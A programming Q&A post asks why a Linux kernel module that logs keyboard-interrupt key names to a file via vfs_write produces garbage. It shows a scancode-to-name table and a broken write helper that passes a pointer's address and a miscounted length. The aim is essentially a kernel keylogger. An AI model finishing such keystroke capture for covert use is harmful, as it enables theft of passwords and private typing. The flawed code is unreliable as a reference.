0

I am trying to write a file in user space from keyboard interrupt module I am using vfs_write to write to file.

static char *key_names_caps[] = {
   "-", "<ESC>",
   "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=",
   "<Backspace>", "<Tab>",
   "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P",
   "[", "]", "<Enter>", "<LCtrl>",
   "A", "S", "D", "F", "G", "H", "J", "K", "L", ";",
   "'", "`", "<LShift>",
   "\\", "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/",
   "<RShift>",
   "<KP*>",
   "<LAlt>", " ", "<CapsLock>",
   "<F1>", "<F2>", "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>",
   "<NumLock>", "<ScrollLock>",
   "<KP7>", "<KP8>", "<KP9>",
   "<KP->",
   "<KP4>", "<KP5>", "<KP6>",
   "<KP+>",
   "<KP1>", "<KP2>", "<KP3>", "<KP0>",
   "<KP.>",
   "-", "-", "-",
   "<F11>", "<F12>",
   "-", "-", "-", "-", "-", "-", "-",
   "<KPEnter>", "<RCtrl>", "<KP/>", "<SysRq>", "<RAlt>", "-",
   "<Home>", "<Up>", "<PageUp>", "<Left>", "<Right>", "<End>", "<Down>",
   "<PageDown>", "<Insert>", "<Delete>"
};



    int file_write(struct file *file, unsigned long long offset, const char *data, unsigned int size) 
    {
        mm_segment_t oldfs;
        int ret;

        oldfs = get_fs();
        set_fs(get_ds());

        ret = vfs_write(file, data, size, &offset);

        set_fs(oldfs);
        return ret;
    }


    static void write_byte_by_byte(char *pos[]) {

       unsigned int count = 0;
         while (*pos != '\0') {
            count += 1;
          pos++;
           //printf("%c\n", *(pos++));
          }
       file_write(fp,0,  (const char *)&pos, count);
    }

But I am not able to read the file that is output by this vfs_write function. The file output is giving me garbage value. Also, can you tell me how I can write strings in the given array into the file written by vfs_write

I need to able to write <DELETE> 9 as characters into the file.

Tsyvarev
  • 60,011
  • 17
  • 110
  • 153
  • Do you have all warnings enabled when you compile your code? You should, and you should pay attention to them. Hint - if you have to cast something to make a warning go away, you have a problem. – Andrew Henle Dec 05 '18 at 14:30
  • yes, I don't have any warnings is the file supposed to be able to be readable and in what format is it going to be. – anmol sandhu Dec 06 '18 at 18:11

0 Answers0